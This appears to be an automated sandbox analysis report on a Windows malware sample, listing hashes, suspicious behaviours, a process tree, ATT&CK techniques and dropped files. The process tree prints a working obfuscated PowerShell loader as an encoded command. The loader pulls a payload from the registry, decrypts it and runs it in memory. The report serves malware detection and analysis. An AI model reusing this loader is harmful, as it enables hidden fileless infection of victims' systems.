Overview

overview

8

Static

static

cce973b40f...b2.exe

windows7_x64

8

cce973b40f...b2.exe

windows10-2004_x64

8

Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    26-05-2022 11:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    cce973b40f864284f2226213f1989c45861d89fd62eb0e311e880f5d017e23b2.exe

  • Size

    276.0MB

  • MD5

    8a5a192bd90e11d69411b772e683121b

  • SHA1

    aa2028f90a3cd0cf04a2ead9a5ec6ff03f95e8e2

  • SHA256

    cce973b40f864284f2226213f1989c45861d89fd62eb0e311e880f5d017e23b2

  • SHA512

    81ec27bc03567466dc1cdfac7ceb7e9f34ee0cbe1bcc4d933009c7237cb3ad027d2bdfc88fcd39e62caa4e480b05254cc5da2c4b9861fc9c3e87f67ed3b0c387

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cce973b40f864284f2226213f1989c45861d89fd62eb0e311e880f5d017e23b2.exe
    "C:\Users\Admin\AppData\Local\Temp\cce973b40f864284f2226213f1989c45861d89fd62eb0e311e880f5d017e23b2.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3316
    • C:\Users\Admin\AppData\Local\Temp\Bkmdqqkch.exe
      "C:\Users\Admin\AppData\Local\Temp\Bkmdqqkch.exe"
      2⤵
      • Executes dropped EXE
      PID:4796
    • C:\Users\Admin\AppData\Local\Temp\cce973b40f864284f2226213f1989c45861d89fd62eb0e311e880f5d017e23b2.exe
      "C:\Users\Admin\AppData\Local\Temp\cce973b40f864284f2226213f1989c45861d89fd62eb0e311e880f5d017e23b2.exe" /s
      2⤵
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5088
  • C:\Windows\system32\cmd.exe
    cmd.exe /c start /min "" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand DQAKACQASABxAG0AdwBzAHIAdQA9AEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAVgBhAGwAdQBlACAALQBQAGEAdABoACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACAALQBOAGEAbQBlACAAVABXAEoAWQBYAE8AVQBMAEEAZABtAGkAbgA7AA0ACgAkAFoAagBsAGsAcABlAFYAPQAiADAAMQAwADAAMAAwADAAMABkADAAOABjADkAZABkAGYAMAAxADEANQBkADEAMQAxADgAYwA3AGEAMAAwAGMAMAA0AGYAYwAyADkANwBlAGIAMAAxADAAMAAwADAAMAAwADkAYwBhADYANwBhAGEAZAA2ADkANwAzAGMAMQA0ADcAYQAxADQAZQA0ADIANQA3ADkANwA5AGIAMAA5ADEANQAwADAAMAAwADAAMAAwADAAMAAyADAAMAAwADAAMAAwADAAMAAwADAAMQAwADYANgAwADAAMAAwADAAMAAwADEAMAAwADAAMAAyADAAMAAwADAAMAAwADAAZgA0AGQANABhAGYAZAA5AGQAMAAxADcANQAwAGMAZgAyAGIAYgAyADMAMgBiADAANQA5ADAAYQAyAGUANAA5ADYAMgBhADQANQA2ADUAZAA5ADkAMQAxAGEAZgA4ADUAMgBhAGIAYwBlADEAYwAzAGQAMAA2AGUAZAAxADEAOAAwADAAMAAwADAAMAAwADAAMABlADgAMAAwADAAMAAwADAAMAAwADIAMAAwADAAMAAyADAAMAAwADAAMAAwADAANgAwAGQANQBjADUANAA2AGQAZABhADMAYgBlAGUAMwAwAGUAMQA1ADcANAA5AGYANwBhADIANAA1AGQANwBlADYAOQAzAGIAOQA2AGYAYgBlADkAMwAwAGQAYQBiADEAMQA3ADYAYQAwAGUAZAA5ADAAOQAxADQANQAxADEANwBhADAAMAAwADAAMAAwADAAZABiADAAYwBkADcAZQBmADMANQA3ADUAMwA3AGQANgA4ADkAYwA0ADQAOQA2ADgAZQA5AGYAMwBiAGMAOQBmADMAZQBjADUAMgA1AGEAZAAxADUAMQBlAGIANQA5ADUANQBiAGMAZABjAGEAYQA5AGEAYQA4ADkAZAA2ADMAZQAwAGEANAA3ADgANgA3AGQAMQA0ADgAZgA3ADUAMQAzADUAOQBhADMAMwBjADcAYwA1AGMAZAA0AGEAMAA2AGMAOAA5AGUANgAyADkAOQA1ADIAOQA3ADMANwBkADUAYQBlADEAMwAzAGMAYwBiADAAMwBmAGMAZQA0ADMANQA1AGMAOQBlADMAOQAwADIAZABhADMAMAAzAGEAYwA2AGMANgA5ADcAMwBlAGUAOQBjADkAZgAwADIAOABiADAAMAAyADUAZQA2AGIAOAA2ADYAYwA0AGYAYgA0AGQANwBkADMAMwAyADEANgBkADIAMQA4AGQAZQBhADEANgAyADEAMwAzAGQAMgAwADcAZAA1AGIAMAA5ADcAOQAzADAAZQBjAGQAMABjADIAMwBjADYAYQAwADUAYQA3AGEAZQBmAGYAMgA3AGQAMgAzAGIAYwBlADkANQAwADYANAA5ADcANQAyADgAMAA1ADUANwA4ADYAYQBjADkAOQAyAGUAYwA0ADUAMgAzAGUAZgAxADMANQBiADgAYwA3ADcANwAwADIAOAA2ADYAZgAxAGQANQBiADEAZQBhADkAZgBmAGIANgBlAGMAZgBhADUANQBhADIAMwBkAGIANQA5AGMAYgA4AGIAYgA3ADgAMAA0ADUAMgAxADIANgA0AGYAMQA2ADQAMAAwADAAMAAwADAAMAA1ADEANgBiADEAMwAyAGIAZABmADIAMwAxADkAZgAwADkANQA0ADUANABjADMAYgAwADAAMgBlAGUAYgAxADUAZABjADgANQBjAGMAYQA4ADgANwA0ADQANwA1ADIAZAA2ADYAYwA2AGEAMQA4ADcANAA5ADcAMwBmADkAZAAxAGMAOQA2ADcAZgBiADkAZQAyAGQAMQA5AGQAOAA3ADMAMgA5AGYANQBiADQAYQA0AGMAYgA3ADMAOQA2ADcANAAxADYAYgA2ADYAZQAwADMAZAAzADcAZgA4ADgANgA2ADMAOAA0AGQAYQAyAGEAZQA3ADkANAA2ADMAZQBiADEAIgB8AEMAbwBuAHYAZQByAHQAVABvAC0AUwBlAGMAdQByAGUAUwB0AHIAaQBuAGcAOwANAAoAJABNAGwATwBwAG4AZABxAD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFAAdAByAFQAbwBTAHQAcgBpAG4AZwBCAFMAVABSACgAWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnAFQAbwBCAFMAVABSACgAJABaAGoAbABrAHAAZQBWACkAKQA7AA0ACgBmAG8AcgAoACQASgBWAHQAaAB5AHIAPQAwADsAJABKAFYAdABoAHkAcgAgAC0AbAB0ACAAJABIAHEAbQB3AHMAcgB1AC4AQwBvAHUAbgB0ADsAJABKAFYAdABoAHkAcgArACsAKQAgAHsAJABIAHEAbQB3AHMAcgB1AFsAJABKAFYAdABoAHkAcgBdACAAPQAgACQASABxAG0AdwBzAHIAdQBbACQASgBWAHQAaAB5AHIAXQAgAC0AYgB4AG8AcgAgACQATQBsAE8AcABuAGQAcQBbACQASgBWAHQAaAB5AHIAIAAlACAAJABNAGwATwBwAG4AZABxAC4ATABlAG4AZwB0AGgAXQB9ADsADQAKACQAVQB1AHYAcAB3AGMAdwB6AGgAagB6AGwAbwB5AGIAPQBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQASABxAG0AdwBzAHIAdQApADsADQAKACQATABiAGEAZgB0AG0AZgBoAHoASgBtAHAAegB6AGQAYwBsAGIAZQBlAGkAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwAuAEwAaQBzAHQAWwBTAHkAcwB0AGUAbQAuAFMAdAByAGkAbgBnAFsAXQBdAF0AOgA6AG4AZQB3ACgAKQA7AA0ACgAkAEwAYgBhAGYAdABtAGYAaAB6AEoAbQBwAHoAegBkAGMAbABiAGUAZQBpAC4AQQBkAGQAKAAiADYANwBFADIANgAxADMAMAAzADQAQQBCAEMAMABCAEYANQA3ADQANgBBAEYANgBEADcANwAzADYARQA1AEEAQQAiACkAOwANAAoAJABVAHUAdgBwAHcAYwB3AHoAaABqAHoAbABvAHkAYgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQARwBsAGIARAB3AHAAYQB4AGsAbgB0AGoALAAgACQATABiAGEAZgB0AG0AZgBoAHoASgBtAHAAegB6AGQAYwBsAGIAZQBlAGkAKQA7AA0ACgAJAA==
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand DQAKACQASABxAG0AdwBzAHIAdQA9AEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAVgBhAGwAdQBlACAALQBQAGEAdABoACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACAALQBOAGEAbQBlACAAVABXAEoAWQBYAE8AVQBMAEEAZABtAGkAbgA7AA0ACgAkAFoAagBsAGsAcABlAFYAPQAiADAAMQAwADAAMAAwADAAMABkADAAOABjADkAZABkAGYAMAAxADEANQBkADEAMQAxADgAYwA3AGEAMAAwAGMAMAA0AGYAYwAyADkANwBlAGIAMAAxADAAMAAwADAAMAAwADkAYwBhADYANwBhAGEAZAA2ADkANwAzAGMAMQA0ADcAYQAxADQAZQA0ADIANQA3ADkANwA5AGIAMAA5ADEANQAwADAAMAAwADAAMAAwADAAMAAyADAAMAAwADAAMAAwADAAMAAwADAAMQAwADYANgAwADAAMAAwADAAMAAwADEAMAAwADAAMAAyADAAMAAwADAAMAAwADAAZgA0AGQANABhAGYAZAA5AGQAMAAxADcANQAwAGMAZgAyAGIAYgAyADMAMgBiADAANQA5ADAAYQAyAGUANAA5ADYAMgBhADQANQA2ADUAZAA5ADkAMQAxAGEAZgA4ADUAMgBhAGIAYwBlADEAYwAzAGQAMAA2AGUAZAAxADEAOAAwADAAMAAwADAAMAAwADAAMABlADgAMAAwADAAMAAwADAAMAAwADIAMAAwADAAMAAyADAAMAAwADAAMAAwADAANgAwAGQANQBjADUANAA2AGQAZABhADMAYgBlAGUAMwAwAGUAMQA1ADcANAA5AGYANwBhADIANAA1AGQANwBlADYAOQAzAGIAOQA2AGYAYgBlADkAMwAwAGQAYQBiADEAMQA3ADYAYQAwAGUAZAA5ADAAOQAxADQANQAxADEANwBhADAAMAAwADAAMAAwADAAZABiADAAYwBkADcAZQBmADMANQA3ADUAMwA3AGQANgA4ADkAYwA0ADQAOQA2ADgAZQA5AGYAMwBiAGMAOQBmADMAZQBjADUAMgA1AGEAZAAxADUAMQBlAGIANQA5ADUANQBiAGMAZABjAGEAYQA5AGEAYQA4ADkAZAA2ADMAZQAwAGEANAA3ADgANgA3AGQAMQA0ADgAZgA3ADUAMQAzADUAOQBhADMAMwBjADcAYwA1AGMAZAA0AGEAMAA2AGMAOAA5AGUANgAyADkAOQA1ADIAOQA3ADMANwBkADUAYQBlADEAMwAzAGMAYwBiADAAMwBmAGMAZQA0ADMANQA1AGMAOQBlADMAOQAwADIAZABhADMAMAAzAGEAYwA2AGMANgA5ADcAMwBlAGUAOQBjADkAZgAwADIAOABiADAAMAAyADUAZQA2AGIAOAA2ADYAYwA0AGYAYgA0AGQANwBkADMAMwAyADEANgBkADIAMQA4AGQAZQBhADEANgAyADEAMwAzAGQAMgAwADcAZAA1AGIAMAA5ADcAOQAzADAAZQBjAGQAMABjADIAMwBjADYAYQAwADUAYQA3AGEAZQBmAGYAMgA3AGQAMgAzAGIAYwBlADkANQAwADYANAA5ADcANQAyADgAMAA1ADUANwA4ADYAYQBjADkAOQAyAGUAYwA0ADUAMgAzAGUAZgAxADMANQBiADgAYwA3ADcANwAwADIAOAA2ADYAZgAxAGQANQBiADEAZQBhADkAZgBmAGIANgBlAGMAZgBhADUANQBhADIAMwBkAGIANQA5AGMAYgA4AGIAYgA3ADgAMAA0ADUAMgAxADIANgA0AGYAMQA2ADQAMAAwADAAMAAwADAAMAA1ADEANgBiADEAMwAyAGIAZABmADIAMwAxADkAZgAwADkANQA0ADUANABjADMAYgAwADAAMgBlAGUAYgAxADUAZABjADgANQBjAGMAYQA4ADgANwA0ADQANwA1ADIAZAA2ADYAYwA2AGEAMQA4ADcANAA5ADcAMwBmADkAZAAxAGMAOQA2ADcAZgBiADkAZQAyAGQAMQA5AGQAOAA3ADMAMgA5AGYANQBiADQAYQA0AGMAYgA3ADMAOQA2ADcANAAxADYAYgA2ADYAZQAwADMAZAAzADcAZgA4ADgANgA2ADMAOAA0AGQAYQAyAGEAZQA3ADkANAA2ADMAZQBiADEAIgB8AEMAbwBuAHYAZQByAHQAVABvAC0AUwBlAGMAdQByAGUAUwB0AHIAaQBuAGcAOwANAAoAJABNAGwATwBwAG4AZABxAD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFAAdAByAFQAbwBTAHQAcgBpAG4AZwBCAFMAVABSACgAWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnAFQAbwBCAFMAVABSACgAJABaAGoAbABrAHAAZQBWACkAKQA7AA0ACgBmAG8AcgAoACQASgBWAHQAaAB5AHIAPQAwADsAJABKAFYAdABoAHkAcgAgAC0AbAB0ACAAJABIAHEAbQB3AHMAcgB1AC4AQwBvAHUAbgB0ADsAJABKAFYAdABoAHkAcgArACsAKQAgAHsAJABIAHEAbQB3AHMAcgB1AFsAJABKAFYAdABoAHkAcgBdACAAPQAgACQASABxAG0AdwBzAHIAdQBbACQASgBWAHQAaAB5AHIAXQAgAC0AYgB4AG8AcgAgACQATQBsAE8AcABuAGQAcQBbACQASgBWAHQAaAB5AHIAIAAlACAAJABNAGwATwBwAG4AZABxAC4ATABlAG4AZwB0AGgAXQB9ADsADQAKACQAVQB1AHYAcAB3AGMAdwB6AGgAagB6AGwAbwB5AGIAPQBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQASABxAG0AdwBzAHIAdQApADsADQAKACQATABiAGEAZgB0AG0AZgBoAHoASgBtAHAAegB6AGQAYwBsAGIAZQBlAGkAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwAuAEwAaQBzAHQAWwBTAHkAcwB0AGUAbQAuAFMAdAByAGkAbgBnAFsAXQBdAF0AOgA6AG4AZQB3ACgAKQA7AA0ACgAkAEwAYgBhAGYAdABtAGYAaAB6AEoAbQBwAHoAegBkAGMAbABiAGUAZQBpAC4AQQBkAGQAKAAiADYANwBFADIANgAxADMAMAAzADQAQQBCAEMAMABCAEYANQA3ADQANgBBAEYANgBEADcANwAzADYARQA1AEEAQQAiACkAOwANAAoAJABVAHUAdgBwAHcAYwB3AHoAaABqAHoAbABvAHkAYgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQARwBsAGIARAB3AHAAYQB4AGsAbgB0AGoALAAgACQATABiAGEAZgB0AG0AZgBoAHoASgBtAHAAegB6AGQAYwBsAGIAZQBlAGkAKQA7AA0ACgAJAA==
      2⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      PID:3952

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cce973b40f864284f2226213f1989c45861d89fd62eb0e311e880f5d017e23b2.exe.log
    Filesize

    425B

    MD5

    fff5cbccb6b31b40f834b8f4778a779a

    SHA1

    899ed0377e89f1ed434cfeecc5bc0163ebdf0454

    SHA256

    b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76

    SHA512

    1a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9

    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\Bkmdqqkch.exe
    Filesize

    997KB

    MD5

    dbc534854dd385e59a3f1906ddfb9020

    SHA1

    2b3062d82232ce10a8713829199769ff0d12e0fc

    SHA256

    06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

    SHA512

    1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\Bkmdqqkch.exe
    Filesize

    997KB

    MD5

    dbc534854dd385e59a3f1906ddfb9020

    SHA1

    2b3062d82232ce10a8713829199769ff0d12e0fc

    SHA256

    06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

    SHA512

    1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

    Download Submit
  • memory/3316-130-0x0000019E5BAB0000-0x0000019E5BC2A000-memory.dmp
    Filesize

    1.5MB

    Download
  • memory/3316-131-0x00007FFEFC6D0000-0x00007FFEFD191000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/3952-140-0x0000000000000000-mapping.dmp
    Download
  • memory/3952-141-0x00007FFEFC780000-0x00007FFEFD241000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/4796-132-0x0000000000000000-mapping.dmp
    Download
  • memory/5088-134-0x0000000000000000-mapping.dmp
    Download
  • memory/5088-136-0x00007FFEFC6D0000-0x00007FFEFD191000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/5088-137-0x0000018DB4DF0000-0x0000018DB4E12000-memory.dmp
    Filesize

    136KB

    Download
  • memory/5088-138-0x0000018DCFC60000-0x0000018DCFCB0000-memory.dmp
    Filesize

    320KB

    Download